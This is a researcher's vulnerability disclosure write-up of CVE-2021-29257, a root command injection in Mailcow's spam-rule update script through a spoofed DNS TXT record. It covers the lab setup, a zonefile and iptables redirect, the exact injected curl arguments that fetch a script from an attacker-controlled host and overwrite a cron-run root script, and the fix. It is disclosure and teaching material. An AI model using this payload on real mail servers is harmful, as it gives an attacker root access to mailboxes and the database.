Remote Code Execution in Mailcow
Table of Contents
Background⌗
As so often in life, you can search for things for months without success; then later they fall into your hands without further ado.
It was the same with this vulnerability: after months of my servers fuzzing various open source software, the vulnerability described in this post just “ran into me” by looking onto htop
closely.
Objective⌗
mailcow: dockerized is an open source groupware/email suite based on docker. mailcow relies on many well known and long used components, which in combination result in an all around carefree email server. Each container represents a single application, connected in a bridged network.
Mailcow is a turnkey solution for hosting your own e-mail server. It’s a bundle of different preconfigured and tied together open-source software used to host e-mail services like Dovecot and Postfix.
Timeline⌗
- XX-01-2021: Discovery of vulnerabilities in lab environment
- XX-02-2021: PoC creation in lab environment, initial writeup
- 26-03-2021: Disclosure towards The Infrastructure Company GmbH
- 26-03-2021: Assignment of CVE
- 26-03-2021: Release of a fix via GitHub
Lab Setup⌗
The vulnerability can only be exploited if you control DNS, e.g. if you are in a Machine in the Middle scenario or you happen to operate an upstream DNS server. The Evaluation section above describes the constraints further.
To set up your lab accordingly, I’d recommend you set up your lab like this:
Firewall VM⌗
This VM needs little to no hardware to operate:
- NIC 1: connected to the hypervisor network (10.13.37.42/24)
- NIC 2: connected to the Mailcow VM (10.0.1.1/24)
- 256M RAM, 5GB HDD, 1 Core is more than enough
- Set it up to NAT traffic from NIC 2 to NIC 1
Install CoreDNS (or any other DNS server of your choice) and use this Corefile:
# Corefile
.:53 {
bind 10.0.1.1
log
reload 2s 2s
file db.heinlein-support.de heinlein-support.de {
reload 1s
}
forward . 1.1.1.1:53 1.0.0.1:53
}
Create this Zonefile named db.heinlein-support.de
next to the Corefile:
# db.heinlein-support.de
$ORIGIN heinlein-support.de.
@ 0 IN SOA invalid invalid 2342 0 0 0 0
1.4.3.spamassassin 0 IN TXT " -o /dev/null http://10.13.37.1/curl-poc.sh -o /usr/local/bin/sa-rules.sh file:///dev/null"
The exploit will be discussed later in the article. Just appreciate the mix of Zonefile and Bash syntax for the moment!
To rewrite DNS traffic passing from NIC 2 to NIC 1, to avoid that the Mailcow VM talks to a different upstream DNS server, use this iptables
snippet:
iptables -t nat -A PREROUTING -p tcp --dport 53 -j DNAT --to-destination 10.0.1.1:53
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination 10.0.1.1:53
Mailcow VM⌗
This VM needs to power all docker containers included in Mailcow:
- NIC: connected to the Firewall network (10.0.1.2/24)
- 2G RAM, 10GB HDD, 2 Cores
- Install Docker and mailcow-dockerized (must be pre commit
a02425d
)
Vulnerability⌗
CVE-2021-29257⌗
Conditional Remote Code Execution as root in the Dovecot container of Mailcow.
Evaluation⌗
CVSS v3.1: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H = Base Score 8.3
While a Remote Code Execution as Root user is the most critical security issue a software can have, keep in mind that the attack vector is kind of complicated here. An attacker can exploit it remotely but needs to be in one of the following situations:
- the attacker controls the preferred DNS server of the victim, OR
- the attacker is in a Machine in the Middle scenario to the victim, OR
- the attacker is in hold of the domain heinlein-support.de, e.g. as administrator, OR
- the attacker injects a spoofed DNS entry for
heinlein-support.de
, e.g. via DNS cache poisoning, OR - the attacker is able to answer faster than the preferred DNS server of the victim - it’s UDP after all.
The latter may be the case e.g. if the attacker is in hold of a router or has a host on the same switched network.
This renders most of the Mailcow installations out there unexploitable for the majority of attackers. Still, e.g. the administrator over at Heinlein Support could gain root command execution over night on all Mailcow instances worldwide.
Description⌗
By providing a malicious DNS response it is possible for an attacker to execute commands as root user inside the Dovecot container of Mailcow, giving the attacker access to all e-mails on the server and the database of Mailcow.
The traces of this vulnerability show up in htop
:
As it can be seen in the screenshot, the output of dig
is copied directly into a curl
command (where this injection only shows up because the VM didn’t have internet access, means the dig
call failed). This means, an attacker able to control the output/DNS response is able to inject code.
When looking through Mailcow’s source code, the issue causing this behavior was quickly identified to originate from a script in the Dovecot docker container, more precise the script sa-rules.sh
. This script is called every day at 1:30AM (local time of the server) via a cronjob
with root permissions, and looks like this:
# From sa-rules.sh, L16
curl --connect-timeout 15 --retry 10 --max-time 30 http://www.spamassassin.heinlein-support.de/$(dig txt 1.4.3.spamassassin.heinlein-support.de +short | tr -d '"').tar.gz --output /tmp/sa-rules-heinlein.tar.gz
Let’s dissect the enclosed dig
call:
txt
means that a DNS TXT record is requested1.4.3.spamassassin.heinlein-support.de
is the requested domain+short
means thatdig
should only return the value of the record, without further debug outputtr -d '"'
cuts away quotation characters
The idea of this command is to return the current version of a set of spam rules provided by the company Heinlein Support. With that version number, the current spam rule set is downloaded by the curl
command.
If dig
returns the version as intended, the command looks like this:
curl --connect-timeout 15 --retry 10 --max-time 30 http://www.spamassassin.heinlein-support.de/2034.tar.gz --output /tmp/sa-rules-heinlein.tar.gz
Now, the curl
call can be broken down:
--connect-timeout
,--retry
and--max-time
are kinda trivialhttp://www.spamassassin.heinlein-support.de/2034.tar.gz
is the URL to get--output
specifies the location where the contents of2034.tar.gz
will be written to
Later in that script, the downloaded .tar.gz archive gets unpacked and further processed - which can also be ignored for the moment.
Exploitation⌗
It is not possible to simply enter a string like ; ./some-reverse-shell #
as in other OSi cases due to the way bash
works its way through inline arguments; but we can provide additional arguments for curl
. And because curl
can handle multiple URLs and multiple output files (one per entered URL), we can download some (Proof-of-Concept) code into the Dovecot container by providing the following value via DNS: " -o /dev/null http://10.13.37.1/curl-poc.sh -o /usr/local/bin/sa-rules.sh file:///dev/null"
Let’s walk over this:
-o /dev/null
specifies the output path for the first URL (which is the already present URLhttp://www.spamassassin.heinlein-support.de
)http://10.13.37.1/curl-poc.sh
specifies the second (attacker-controlled) URL. In this case, it’s just a simple HTTP server distributing a PoC, served by one of my lab servers. YMMV!-o /usr/local/bin/sa-rules.sh
specifies the output path for the second URL. The output file needs to be a script which already has the execution bit set and is called periodically; while you are free to (over-)write whatever you want,sa-rules.sh
itself is actually a good choice, as it has the execute permission bit set and gets called everyday thanks tocron
.file:///dev/null
specifies the third URL. It’s required that we enter an additional URL because later in thecurl
call, there is another output location specified (the one included within the command itself,--output /tmp/sa-rules-heinlein.tar.gz
). As we cannot overwrite the last output location, we simply define that “dummy” URL. As soon as the curl command finishes, the scriptsa-rules.sh
is overwritten with the provided Proof-of-Concept script. This means at the next execution time (1:30AM local time), the PoC code will be called with root permissions. If you belong to those impatient hackers asking for a root shell here and now, not able to wait for 1:30AM, you could also choose to overridegzip
, as it gets called in thesa-rules.sh
script right after downloading the PoC. You’ll get a shell right away, but as it will most likely break other processes relying ongzip
, it’s not the most stealthy method either.
Mitigation⌗
The Mailcow development team fixed this on the same day of disclosure, which is really awesome! You can find the fix on GitHub. It now filters the TXT response for numbers.
Simply update your Mailcow instance.
Conclusion⌗
Keep an eye on your htop
, it may hint you towards injection attacks.
Avoid using unfiltered third-party controlled input at all cost.